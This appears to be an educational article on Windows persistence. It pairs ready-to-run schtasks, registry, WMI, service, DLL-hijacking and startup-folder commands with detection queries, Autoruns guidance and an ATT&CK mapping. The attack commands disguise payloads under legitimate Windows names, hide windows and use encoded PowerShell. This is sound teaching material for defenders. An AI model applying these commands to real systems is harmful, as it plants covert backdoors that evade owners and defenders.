Persistence: Surviving Reboots
Initial access is worthless if it disappears on reboot. Persistence mechanisms ensure the implant survives system restarts and remains accessible.
Why Persistence Matters
Without persistence:
- System reboot = lost access
- Process crash = lost access
- User logout = potentially lost access
- Single point of failure = risky operation
Sophisticated attackers establish multiple persistence mechanisms. If one is discovered and cleaned, others survive.
Scheduled Tasks
Windows Task Scheduler is a legitimate feature abused for persistence. Tasks can run at boot, on login, at intervals, or on triggers.
Creating Persistence with schtasks
# Create task that runs at system boot
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\beacon.exe" /sc onstart /ru SYSTEM
# Run at user login
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -file C:\Users\Public\sync.ps1" /sc onlogon
# Run every hour
schtasks /create /tn "HealthCheck" /tr "C:\ProgramData\health.exe" /sc hourly
# Run at specific time (delayed execution for evasion)
schtasks /create /tn "Maintenance" /tr "C:\Windows\Temp\update.exe" /sc once /st 03:00
PowerShell Scheduled Task Creation
# More flexible with PowerShell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ep bypass -enc JABjAGw..."
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" `
-LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries -StartWhenAvailable
Register-ScheduledTask -TaskName "SecurityHealthService" `
-Action $action -Trigger $trigger -Principal $principal -Settings $settings
Look for scheduled tasks:
- Created recently (especially around incident timeframe)
- Running PowerShell, cmd, wscript, mshta
- Executing from unusual paths (Public, Temp, AppData)
- With encoded command-line arguments
# Query all scheduled tasks
Get-ScheduledTask | Where-Object {$_.Actions.Execute -like "*powershell*"}
Registry Run Keys
Windows checks specific registry keys at login and executes listed programs.
Common Run Key Locations
# User-level (runs when specific user logs in)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# System-level (runs for all users, requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
# Less common but also work
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Setting Registry Persistence
# Add Run key entry
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$name = "SecurityHealthSystray" # Blend with legit Windows names
$value = "powershell.exe -WindowStyle Hidden -ep bypass -enc JABjA..."
Set-ItemProperty -Path $path -Name $name -Value $value
# Or via reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /t REG_SZ /d "C:\Users\Public\update.exe" /f
# Query Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
# Look for:
# - Unknown entries
# - Entries pointing to unusual paths
# - Encoded PowerShell commands
WMI Event Subscriptions
WMI (Windows Management Instrumentation) can trigger actions based on system events. More stealthy than scheduled tasks—often overlooked.
WMI Persistence Components
WMI Persistence has three parts:
1. EVENT FILTER: What triggers the action
Examples: System startup, user login, process start, time interval
2. EVENT CONSUMER: What action to take
Example: Execute PowerShell command
3. BINDING: Links the filter to the consumer
Creating WMI Persistence
# Create WMI event subscription (runs every 60 seconds)
# 1. Create the Event Filter
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
Name = "WindowsUpdate"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 2. Create the Event Consumer
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
Name = "WindowsUpdate"
CommandLineTemplate = "powershell.exe -ep bypass -w hidden -enc JABjA..."
}
# 3. Bind them together
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Query WMI subscriptions
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
# Or use autoruns from Sysinternals:
autorunsc.exe -accepteula -m
Windows Services
Creating a malicious service provides SYSTEM-level persistence that starts automatically at boot.
# Create a service (requires admin)
sc create "WindowsDefenderUpdate" binPath= "C:\ProgramData\defender.exe" start= auto
# Or modify existing service to point to malware
sc config "SomeService" binPath= "C:\malicious.exe"
# Start the service
sc start "WindowsDefenderUpdate"
# PowerShell version
New-Service -Name "SecurityMonitor" `
-BinaryPathName "C:\ProgramData\monitor.exe" `
-DisplayName "Security Monitoring Service" `
-StartupType Automatic `
-Description "Provides security monitoring capabilities"
DLL Hijacking
Place a malicious DLL where a legitimate application will load it. The application unwittingly executes your code.
Windows DLL Search Order:
1. Directory from which the application loaded
2. System directory (C:\Windows\System32)
3. 16-bit system directory
4. Windows directory
5. Current directory
6. PATH environment variable directories
Attack: If an app looks for "version.dll" but doesn't find it in System32,
placing a malicious version.dll in the app's directory gets it loaded.
Startup Folder
Simple but effective. Anything in the startup folder runs on login.
# User startup folder
$startup = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
# Copy payload (or create shortcut)
Copy-Item "C:\payload.exe" "$startup\OneDrive.exe"
# Or create a shortcut to a script
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$startup\SyncClient.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-ep bypass -w hidden -file C:\Users\Public\sync.ps1"
$Shortcut.Save()
Redundancy: Multiple Mechanisms
Sophisticated attackers don't rely on one method.
┌─────────────────────────────────────────────────────────────────────────────┐
│ REDUNDANT PERSISTENCE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ SYSTEM BOOT USER LOGIN │
│ ═══════════ ══════════ │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ Scheduled Task │ │ Registry Run │ │
│ │ (SYSTEM level) │ │ Key (HKCU) │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ │ │
│ ┌────────▼────────┐ ┌────────▼────────┐ │
│ │ WMI │ │ Startup Folder │ │
│ │ Subscription │ │ Shortcut │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ │ │
│ └──────────────┬─────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ IMPLANT │ │
│ │ │ │
│ │ If ANY of the │ │
│ │ mechanisms │ │
│ │ triggers, the │ │
│ │ implant runs │ │
│ └─────────────────┘ │
│ │
│ Defense must clean ALL mechanisms to fully remove persistence │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Detection Summary
| Mechanism | Location to Check | Tool |
|---|---|---|
| Scheduled Tasks | C:\Windows\System32\Tasks\ | schtasks /query, Autoruns |
| Registry Run Keys | HKCU/HKLM Run, RunOnce | reg query, Autoruns |
| WMI Subscriptions | root\subscription namespace | Get-WmiObject, Autoruns |
| Services | HKLM\SYSTEM\CurrentControlSet\Services | sc query, services.msc |
| Startup Folder | %APPDATA%\...\Startup | dir, Autoruns |
Sysinternals Autoruns shows all auto-start locations in one view. Compare against a known-good baseline to identify new entries.
autorunsc.exe -accepteula -a * -c > autoruns.csv
MITRE ATT&CK Mapping
T1547
Boot or Logon Autostart - Registry run keys, startup folder
T1053
Scheduled Task/Job - schtasks, cron, at
T1543
Create or Modify System Process - Services, systemd units
T1546
Event Triggered Execution - WMI subscriptions, AppInit DLLs
T1574
Hijack Execution Flow - DLL hijacking, PATH interception
T1136
Create Account - Backdoor local/domain accounts